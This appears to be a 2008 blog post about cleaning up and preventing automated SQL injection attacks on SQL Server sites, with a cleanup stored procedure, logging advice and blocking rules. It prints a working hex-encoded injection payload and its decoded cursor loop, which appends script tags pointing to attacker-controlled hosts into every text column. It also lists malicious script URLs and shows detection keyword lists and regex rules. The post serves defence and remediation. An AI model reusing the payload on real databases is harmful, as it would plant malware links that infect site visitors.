http://www.d5sg.ru/ngg.js
http://www.nemr.ru/ngg.js
http://www.kr92.ru/ngg.js
http://www.bjxt.ru/ngg.js
http://sdo.1000mg.cn/csrss/w.js
http://www.ujnc.ru/js.js
http://www.cnld.ru/js.js
http://www.juc8.ru/js.js
http://www.3njx.ru/js.js
http://www.19ssl.net/script.js
http://www.vtg43.ru/script.js

See my recovering from an SQL injection attack post for more details about clean ups and quick plasters that can be applied to prevent further injections.

Thursday, 4 September 2008

Script - Find Text in Database

Find and replace text in database

The following procedure is a very useful stored procedure that is my first port of call when I am tasked to investigate sites that have fallen victim to SQL injection attacks. The script has 4 different methods which are outlined in the comments. However I would first use method 1 which will output a list of any tables and columns within the database and the number of rows that contain the offending hack string. From that data you can then decide whether you need to run the other methods that either output all UPDATE statements needed to remove the hack or run them straight off. The other method outputs every single affected row within the database which is useful as you can determine whether a clean will work or not by the placement of the injected code.


Script Details

I have created 2 versions of the proc one for SQL 2005 and one for 2000/7. The only real differences are that I can use NVARCHAR(max) in the 2005 version and the system views are slightly different.
You could choose to update the 2005 version to use the CLR and a regular expression UDF to speed up the text searches.

Download SQL 2005 Version

Download SQL 2000 Version


Searching and replacing multiple strings

I have also created another script that allows you to search for and if necessary replace multiple strings in one go. Some sites are charging $300 for code like this and you may have even seen the adverts on this site :). So if I have saved you or your company some money then please feel free to make a donation!.

Download code to search and replace for multiple strings

I have added a branch within this proc that checks the version of SQL server and calls the appropriate proc. However you are probably only going to want to use the procedure that your server supports so comment out or remove the following code:


IF patindex('%SQL Server 2005%',@@Version)>0
SELECT @SQL_VERSION = 2005
ELSE IF patindex('%SQL Server 2000%',@@Version)>0
SELECT @SQL_VERSION = 2000


And also further down within the loop remove the call to the proc that your not using.


IF @SQL_VERSION = 2005
BEGIN

EXEC dbo.usp_sql_find_text_in_database
@Mode,
@Value,
@ReplaceString
END
ELSE
BEGIN

EXEC dbo.usp_sql_find_text_in_database_2000
@Mode,
@Value,
@ReplaceString
END




Example Usage
So you need to hunt down and remove the following injected hack strings:

<script src="http://www.usaadp.com/ngg.js"></script>
<script src="http://www.bnsdrv.com/ngg.js"></script>
<script src="http://www.cdport.eu/ngg.js"></script>

Just call the usp_sql_find_multiple_text_in_database proc in the following way




EXEC dbo.usp_sql_find_multiple_text_in_database
@MODE = 4,
@FindString = '<script src="http://www.usaadp.com/ngg.js"></script>||<script src="http://www.bnsdrv.com/ngg.js"></script>||<script src="http://www.cdport.eu/ngg.js"></script>',
@SplitOn = '||',
@ReplaceString = ''


Which will hunt for each string in turn in all textual columns (char,nchar,nvarchar,varchar,ntext,text) and replace it with an empty string.

If you don't want to carry the UPDATE out straight away you could use a different option by changing the @MODE flag:

1 = Output an overview list of each table and column containing the string and the no of rows found for each. This is a good way of checking how much data has been corrupted.

2 = Output all the rows containing the string. This may be quite a lot if your whole database has been comprimised.

3 = Output the update statements needed to remove the string.

4 = Find and replace all occurrances of the string.


So there you go a way to clean up your infected SQL databases and save yourself $299 at the same time. As I am saving you some money buying a clean up product and possibly lots of money due to lost business revenue then please consider making a donation so that I can continue publishing scripts like this for free.






Wednesday, 3 September 2008

Recovering from an SQL injection hack

Are SQL injection Attacks on the increase?

SQL injection attacks seem to be on the rise lately not because there are more dedicated hackers spending time trying to exploit sites but because most of the successful attacks are caused by bots that trawl the net 24/7 hammering sites. Now we all supposedly should know by now how to prevent SQL injection from affecting your systems but if you have a large back catalogue of older sites that were created years ago that are still in production then they are going to be very vulnerable in the current climate. Even if these sites receive little or no traffic normally if they are accessible on the Internet they are much more likely to become victim because of these bots.

This article will look at the various ways of preventing and recovering from an attack without having to spend months re-writing all those old sites to future proof them. If people still use these old sites then they should be expected to work and not greet the user with Googles Reported Hack Site page. However we all know time is money and the money is in new developments not rewriting that old online ladies shoe catalogue that was written in 98.


Latest forms of SQL Injection

Currently the biggest automated SQL injection attack comes from derivatives of the following:
;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0×4445434C415245204054207661726368617228323535
292C4043207661263686172283430303029204445434C415245205461626C655F437572736F7220
435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D2073797
36F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420
616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747
970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50
454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F4
37572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D30
2920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432
B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D226874
74703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D2727207
76865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73637269
7074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A7323E3C2F7363726970
743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F722
0494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C
4F43415445205461626C655F437572736F72%20AS%20NVARCHAR(4000));EXEC(@S);


Which tries to obfuscate the main section of the code by using a local variable to hold an encoded string that is then decoded and executed. If we decode the main section we can see that the code is making use of the system tables to loop through all textual columns and inserting script tags that reference a compromised site.
;DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id and a.xtype='u'
and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor
INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://www.vtg43.ru/script.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://www.vtg43.ru/script.js"></script><!--''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor


There are numerous variations of this hack with the major differences being
-The URI of the SCRIPT tag injected into the columns.
-The name and datatype of the main variable.
-Whether the UPDATE statement inserts the SCRIPT tag at the start or end of existing data or overwrites it totally.

See my post latest SQL injection URIs for a list of the sites currently doing the rounds.

So before we look at the various hack sticking plasters that can be applied lets just clarify that the best way to avoid SQL injection is to design and develop your site following best practise guidelines.

The best security is a layered approach that involves multiple barriers to make these pesky bots life as difficult as possible. So just to ensure that you all know that I am not recommending a plaster as the number 1 SQL injection prevention method I will just summarise some of the best practises that should be utilised when developing new systems.


Prevention with good design.

The following should all be common knowledge by now as SQL injection is not some newly discovered threat against web kind but has been around and evolving for many years. When developing new sites or upgrading legacy systems you should try to follow these basic rules as developing with this threat in mind as apposed to an after thought will always be the best mode of prevention.
  • Validate all input taken from the client application that is to be passed to the database using a white list rather than blacklisting approach. This basically means rather than stripping out certain characters and symbols only allow those that the field you are updating requires. This means checking the data type and length of the value and handling anything inappropriate.
  • Use stored procedures or parametrised queries. Let ADO handle any data type conversions and quote escaping. If you are used to building up strings to execute then this means you have to rely on your own foolproof coding skills to ensure that each value appended to the string is the correct format and escaped correctly. You may think that you would never make such a stupid mistake as to forget to validate each value you add to the string but say you were off ill one day or on holiday and a junior or a colleague had to make an edit to a page on your site. For example if the required amend is to add a listbox to a page that lists news articles to allow the user to filter by a particular news category that is identified and retrieved from the database using an integer. If they forget to validate the value supplied from the listbox to make sure it was an integer then you can be guaranteed that one of these automated hack bots will exploit it within days if not hours of the change going live. I have had this exact same situation happen myself on a major system. When the change made by my colleague went live at 11pm at night by 7am the following morning the whole site had been compromised because of this one lapse in their concentration. If you think that using command objects and parameters are too long winded and complicated to write then create yourself a helper script that will make use of the commands parameter.refresh method to build the code up you require.
  • Only grant the database logon that the website users connect with the minimum privileges they require. Don't give them automatic write access and make sure all your CUD (create, update, delete) operations are carried out from stored procedures that the user has execute permission on. I know a lot of people do not like the overhead of creating a stored procedure for simple SELECTs that may only exist to populate a dropdown and therefore use a mixture of stored procedures and client side dynamic SQL which is fine but by following this rule then even if the hacker finds a hole in one of your client side SELECT statements to exploit they would not have the sufficient privileges to update the database.
  • If you have to use dynamic SQL in stored procedures that accept values from the site then use sp_executesql and not exec. A hacker could still exploit your system if you executed an unvalidated string within a stored procedure using exec(). You will also gain benefits from the system caching and therefore reusing the generated query plans when you use this system procedure to execute your dynamic SQL instead of exec.
  • Make life hard for the hackers and don't show detailed error messages to your users when something goes wrong. Although the automated hack bots are using brute force to hit every possible URL and parameter possible in the hope of finding a hole a dedicated hacker probing your site feeds off the details provided to him when he comes across a 500 error. Although its still possible to exploit a site in the blind its a lot harder and more time consuming than having the details of the SQL you are manipulating in front of you. Its amazing how many sites I still come across that show the SQL statement in the error messages. In fact a very popular developer resource site (I will mention no names) that hosts message boards and technical articles including some about SQL injection best practises continues to show me the SQL statement it uses to log members in when I visit and it times out. End users do not need to see this information as its dangerous. Show them a nice friendly error message and then email yourself the details or log them to a file or database if you really need to know what caused the error.

Oops someone just hacked your site.


So you have just had a phone call from an angry customer complaining about a virus they have just been infected with because they still use IE 5 to browse the web and they have just visited the home page of their site that your company hosts. Or maybe you have received one of Googles nice warning messages when you try to access the site yourself. Or maybe you just noticed the layout is screwed up because of broken tags and truncated HTML due to newly inserted SCRIPT tags that shouldn't be there. However you found the wonderful news out that your site has been exploited you need to get moving as fast as possible and you need to know 2 main things:
1. How did they managed to hack the site.
2. How much data has been compromised or even worse deleted.


Find the hole in the system.

There are many security and logging systems available for purchase but I have a custom logging system on my sites that at the bottom of each page will log to a separate database some core information about the user and the page they are on (user-agent, client IP, URL etc) as well as using this for reporting traffic and user statistics I have columns called IsHackAttempt and IsError and a timed MS Agent job that every 15 minutes looks at the last 15 minutes of unchecked traffic data and checks the query-string for common SQL/XSS injection fingerprints. If it finds any then I update the IsHackAttempt flag.

This enables me to run a report of all hack attempts over a set time period. You may find on large systems that you are constantly under attack from these bots so you should look for hack attempts that have been on pages that have just been updated or that have caused 500 errors. If you have SQL injection attempts that cause any sort of 500 error then you should investigate immediately as something is not right. If a hacker can raise an SQL error on your system then it means its highly probable they can manipulate your SQL probably due to incorrect parameter sanitization.

If you don't have your own custom logging system then you can either hunt through your log files using a tool such as Microsoft's Log Parser http://www.securityfocus.com/infocus/1712 or bulk load the log files into a database for easy searching using SQL.

Some keywords and terms you should be looking for in GET data that would indicate an SQL hack attempt would include: exec, select, drop, delete, sys.objects, sysobjects, sys.columns, syscolumns, cast, varchar, user, @@version, @@servername, declare, update, table.

Most hacks will be through the query-string and therefore you should be able to find the hack in the log file. Hacks from a posted request will not be discovered in the log file unless you have written a custom method to log POST data which I doubt many people do due to the overhead.


Use a bot to beat the bots
.

There are many tools out there which help you find holes in your site and unfortunately they are also used by hackers to find the holes in your site so do yourself a favour and beat them to it.

Before any site goes live you should run a tool such as Paros Proxy http://www.parosproxy.org which will crawl your site and output a nice report detailing all possible exploitable holes in your system. As well as SQL injection it will look for XSS, CRLF and many other possible hacks. Run this against your development system as running it on the production system will slow it down as well as possibly filling your database up with crap if you do have exploitable holes. Once you have run this tool view the report and investigate all pages that have been flagged as possible sources for a hacker to hit.


A database restore is not always the answer
.

The most common automated hacks at the moment involve an encoded SQL command that makes use of the system views available in SQL Server to output multiple UPDATE statements to insert a <script> tag in every possible text based column (char, varchar, nchar, nvarchar, text, ntext) in the database. This script will usually reference a .js file on some URL that tries to exploit well known holes in some older browsers through IFrames to download viruses and other spyware to the clients PC. Once you know the actual <script> tag that the exploit is using you can search your database to see how much data has been affected. It maybe that a backup restoration is not required and there is no point loosing customer data by restoring the last known safe backup when its not required.


Hunting for affected rows and columns
.

Using a script such as my find text within database script you can see how much of your data is affected. It maybe that the SQL run by the hacker reached its command timeout limit before it could affect all your tables and especially if you have a large database system only a small percentage of the data could be affected. Its also important to know whether the hacker has purposely or accidentally overwritten or deleted any data as well as inserting his <script> tag. I have seen hacks where the value for the column being updated was wrapped in a CAST(column as VARCHAR) statement which meant that anything after 30 characters was lost. This is because the default length when no value is supplied for a CAST Varchar/Char is 30 characters long. This would mean your column would contain your reference to the virus infected site and nothing else and in this case a simple replace would not be helpful as even if you removed it you would still be missing data.

If the hacker has only inserted the <script> at the start or the end of the existing text which seems to be the most common type then we can easily remove the offending HTML by either using a script like my find and replace or reversing the code that the hacker used in the first place.

To reverse engineer the exploit you should URLDecode the string, remove any EXEC(@s) statement at the end so you don't accidentally run it again and replace it with a PRINT or SELECT so that when you run the SQL you will actually see the CURSOR/LOOP that the exploit is using. You can then replace the hackers UPDATE statement with one that REPLACEs the injected code with nothing.


Preventing re-infection.

Now we have removed the offending HTML or Javascript we need to ensure that we don't get re-infected. If we haven't managed to find the code that allowed the hacker in and we haven't got time to either check each page or rewrite the code to future proof it then we need some sticking plasters until we do get time. I wouldn't recommend the following approaches as the only way to prevent SQL injection. However if you have a number of old sites on a server that have holes and are repeatedly getting hit then they will most certainly help filter out a large percentage of possible hack attempts and they could also be used as another layer in your multi layered security approach.


Identify those bad bots and redirect them away from your site.

If you have been logging your users and hackers then you could try blocking future hackers in a number of ways.

  • Block IP addresses that have been the source of hack attempts at your firewall. However the problem with this is that the IP addresses will change constantly and you are blocking after the attack has occurred.
  • If your site is supposed to be a local or regional site e.g a UK jobs board then you may decide that only traffic from the UK or Europe should be allowed. You could identify the countries that generate the most hack attempts from your traffic data and then block ranges belonging to those countries. To find out the IP ranges for any country use a site such as Country IP Blocks. The problem with this approach is that in a global economy legitimate traffic could come from anywhere in the world and although China seems to be the source of the majority of the current hackbots it is also going to become the worlds major economy in the next few years so blocking the whole country may not be the best approach.
  • Block by user-agent. This will only work for those hackers that don't spoof legitimate browsers and use easily identifiable agents such as Rippers or Fake IE. Why would a legitimate user have a browser named Fake IE?? I do not know either but you could block either through application code or through an ISAPI rewrite rule. There is no point using robots.txt as any hacker worthy of the name is going to ignore that.

Identify hackers as they attack your site.

Create a global include file that can be referenced by all your pages and place it at the top of all other includes so its the first piece of code run by your site. Create a function that takes the Request.Querystring and Request.Form as parameters and check for common SQL injection fingerprints. If found redirect the user to a banned page.

I have also heard the idea that on this banned page you could try and gain some revenge by running an SQL WAIT statement to consume the attackers connection time and slow them down a tad. However if you have a limit on the number of concurrent open database connections and you are being hammered by a zombie botnet then you are going to consume your connections with these WAIT commands which will be detrimental to your other legitimate visitors. This could also be used against you as a form of SQL Denial of Service attack as if a user could automate a series of requests to these pages knowing that you have a connection limit then once all the connections have been used up your site is basically out of action until a connection is released. On a database driven site this is something to be very aware of.

A message on the page informing them that they have been identified and logged will not do much good either considering most of these bots originate overseas and come from anonymous proxies or unsuspecting users who have become members of a zombie network but its worth doing anyway just to scare those teenage hackers based in your own country who may be experimenting.

Your function could look a bit like this. The code is in VBScript due to its easy readability and I'm sure most people could convert it to their preferred language with little work.
Dim blBanUser : blBanUser = False
blBanUser = BanUser(Request.Querystring)
If Not(blBanUser) Then
blBanUser = BanUser(Request.Form)
End If

If (blBanUser) Then
Response.Redirect("/banned.asp")
End If

Function BanUser(strIN)

strIN = URLDecode(strIN)

Dim objRegExpr : Set objRegExpr = New RegExp

With objRegExpr
.IgnoreCase = True
.Global = True
.Pattern = "DECLARE @\w+ N?VARCHAR\((?:\d{1,4}|max)\)"
If .Test(strIN) Then
BanUser = True
Exit Function
End If
.Pattern = "sys.?(?:objects|columns|tables)"
If .Test(strIN) Then
BanUser = True
Exit Function
End If
.Pattern = ";EXEC\(@\w+\);?"
If .Test(strIN) Then
BanUser = True
Exit Function
End If
End With

Set objRegExpr = Nothing

BanUser = False
End Function
Rather than just logging attempted or successful hack attempts for reporting later this type of plaster will prevent the most common SQL injections that are currently being executed by bots. I found that after implementing this function on a site that was receiving up to 2000 hack attempts each day it dropped down to 2-5 per day.

The problems with this approach are that it will slow down the response time of your site as every page load is going to have to perform these checks and the more data you submit the more there is to check. You could extend it but the more checking you do the slower it will get.

You may also decide that as the majority of hacks come through the query-string that checking the post data is not required. Also this method only checks for a few fingerprints and the SQL injections are changing all the time. It may catch 99% of the attacks currently out there but who is to say that a new type of attack that doesn't use those system tables or exec won't be rolled out in the following days. This is why some sort of logging and hack identifying system is advisable as it means you can see the types of attack that are being used against you and then modify any defensive regular expressions as required.


ISAPI Filtering.

If you have the ability to add ISAPI rewriting to your site then you can place rules that do similar regular expression fingerprint checks as the function above but before any application code is run by placing rules in an httpd.ini or .htaccess file. You can do this for one site or for the whole server.

The benefits of using ISAPI rewriting is that it will be faster than getting your application to check for hack fingerprints plus you can apply the plaster to the whole server in one hit for maximum affect. The downside is that you can only check the query-string and not the post data. You also have the same issues about injection methods changing and having to update the file.

You could use the following 3 rules to prevent the majority of the automated hack bots at the moment. I have implemented these rules on my own sites and it has reduced the amount of hacks that get logged by roughly 95%.
# SQL INJECTION FINGERPRINTING
RewriteRule /.*?\.asp\?.*?DECLARE[^a-z]+\@\w+[^a-z]+N?VARCHAR\((?:\d{1,4}|max)\).* /jobboard/error-pages/banned.asp [I,L,U]
RewriteRule /.*?\.asp\?.*?sys.?(?:objects|columns|tables).* /jobboard/error-pages/banned.asp [I,L,U]
RewriteRule /(?:.*?\.asp\?.*?);EXEC\(\@\w+\);?.* /jobboard/error-pages/banned.asp [I,L,U]



Block access to system views
.

A lot of the most current hacks make use of the system views that are available in SQL Server that list out all the tables, columns, data types and any other useful information that would be a goldmine to a hacker. Giving them access to these tables is like doing their work for them. They don't need to guess what names you have given the tables and columns in your database as they have access to a list of all of them and can easily create a statement to loop through those of interest to create havoc.

In the majority of cases your website would not need access to these views so blocking them would have no detremential affect however you should verify this first with developers and DBA's. I personally tend to use them in parts of the system where I allow certain admin users to upload data into the system. It enables me to output the correct format for the upload (data type, column size, allow nulls etc) without having to worry about changing code if a column gets modified. So there are perfectly valid reasons that your site may need access to these views however if your site doesn't then deny access to your website user as although it will not stop all SQL injection attacks it will stop the current crop of automated bots that make use of the system views to create the necessary UPDATE statements. So although not perfect if your system doesn't require access to them its another useful layer of protection to add.


Conclusion

SQL injection is on the rise due to automated bots which means any and all sites available on the internet could fall victim. New sites should be developed with this in mind and should be implemented with a multi layered approach to prevention. This should take the form of data validation, parameterized queries and stored procedures, least privllege access to users including denying access to system views, hiding error messages from users and the logging of hack attempts so that defenses can be kept up to date.

For a detailed look at SQL injection methods http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/.

Article about preventing SQL injection attacks in ASP.NET http://msdn.microsoft.com/en-us/library/ms998271.aspx